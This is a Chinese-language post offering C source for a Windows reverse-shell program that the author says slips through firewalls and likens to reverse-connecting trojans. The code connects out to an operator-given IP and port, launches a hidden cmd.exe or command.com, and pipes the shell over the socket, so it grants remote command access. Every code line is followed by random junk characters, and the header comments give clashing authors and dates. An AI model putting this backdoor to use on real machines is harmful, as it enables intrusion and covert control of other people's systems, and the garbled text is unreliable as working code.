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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uIDuGrt  
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/* ============================== Y14W?|KOB  
Rebound port in Windows NT 57g</ p  
By wind,2006/7 aM$W*- Y  
===============================*/ >G~R,{6U  
#include f`&dQ,;  
#include ?|ZTaX6A  
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#pragma comment(lib,"wsock32.lib") J|w)&bV  
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void OutputShell(); 6l4mS~/  
SOCKET sClient; h@LHRMO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jWYV#ifs2  
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void main(int argc,char **argv) 17OH]  
{ = hN !;7G  
WSADATA stWsaData; }ga@/>Sl&  
int nRet; ,-OCc!7K  
SOCKADDR_IN stSaiClient,stSaiServer; ~fo6*g:f1  
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if(argc != 3) 4sP2g&  
{ xu'yVt9RC  
printf("Useage:\n\rRebound DestIP DestPort\n"); $]rj73p^tH  
return; s$a09x  
} iIP8`! O  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Qr$;AZ G  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FSRj4e1y1  
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stSaiClient.sin_family = AF_INET; u SR~@Lj ~  
stSaiClient.sin_port = htons(0); ty DM'|p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5T:i9h  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q(\4]i< S  
{ IEcf  
printf("Bind Socket Failed!\n"); kWrp1`  
return; e~"fn*"  
} uZ=NSbYsA  
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stSaiServer.sin_family = AF_INET; gc?#pP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3dDX8M?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "hdvHUz  
~wVd$%7`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9,^_<O@Q  
{ d%0~c'D8a  
printf("Connect Error!"); MX ;J5(Ae  
return; \~5C7^_  
} S*sT] J`!  
OutputShell(); !Lh^oPT"I  
} DzheoA-+L'  
XyOl:>%L!P  
void OutputShell() %DQhM,c@  
{ V3ndV-uQE  
char szBuff[1024]; +d%L\^?F  
SECURITY_ATTRIBUTES stSecurityAttributes; oy;K_9\  
OSVERSIONINFO stOsversionInfo; =2 *rA'im  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Dxk+P!!K  
STARTUPINFO stStartupInfo; B)QHM+[= F  
char *szShell; 9Fr3pRIJ  
PROCESS_INFORMATION stProcessInformation; po}F6m8bX  
unsigned long lBytesRead; 6AWKLFMV  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A3ZY~s#Iv  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); chEn|>~  
stSecurityAttributes.lpSecurityDescriptor = 0; 41_SRh7N  
stSecurityAttributes.bInheritHandle = TRUE; .n=Z:*JqQ  
kVD(Q ~<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1DA1N<'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {Ions~cO)  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "jaJr5Wv=y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m B\C?=_  
stStartupInfo.wShowWindow = SW_HIDE; M BXBog7U  
stStartupInfo.hStdInput = hReadPipe; ~%2pp~1 K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sIv)'  
jU5}\oP@  
GetVersionEx(&stOsversionInfo); 7^Yk`Z?|a  
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switch(stOsversionInfo.dwPlatformId) ,p9i%i  
{ I=!rbF;Z  
case 1: l]]l  
szShell = "command.com"; +GAf O0  
break; "rAY.E]  
default: 3bNIZ#`|MB  
szShell = "cmd.exe"; VG>vn`x>a  
break; Ve/xnn]'  
}  PTS]7  
8+Bu+|c%f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g%k`  
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send(sClient,szMsg,77,0); ILic.@st  
while(1) GAc{l=vT'  
{ wlPx,UqZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @p|$/Z%R,  
if(lBytesRead) /N-_FMl?  
{ k'PQ} ,Vb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1LY8Ma]E  
send(sClient,szBuff,lBytesRead,0); Q_vW3xz  
} w%zRHf8C  
else O MX-_\")  
{ p)~lL  
lBytesRead=recv(sClient,szBuff,1024,0); Tb1U^E:  
if(lBytesRead<=0) break; wap3Kd>MP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8/"fWm/  
} q-Qxbg[>e  
} Vj!rT <@  
wP/A^Rs  
return; Eaqca{%/^  
}
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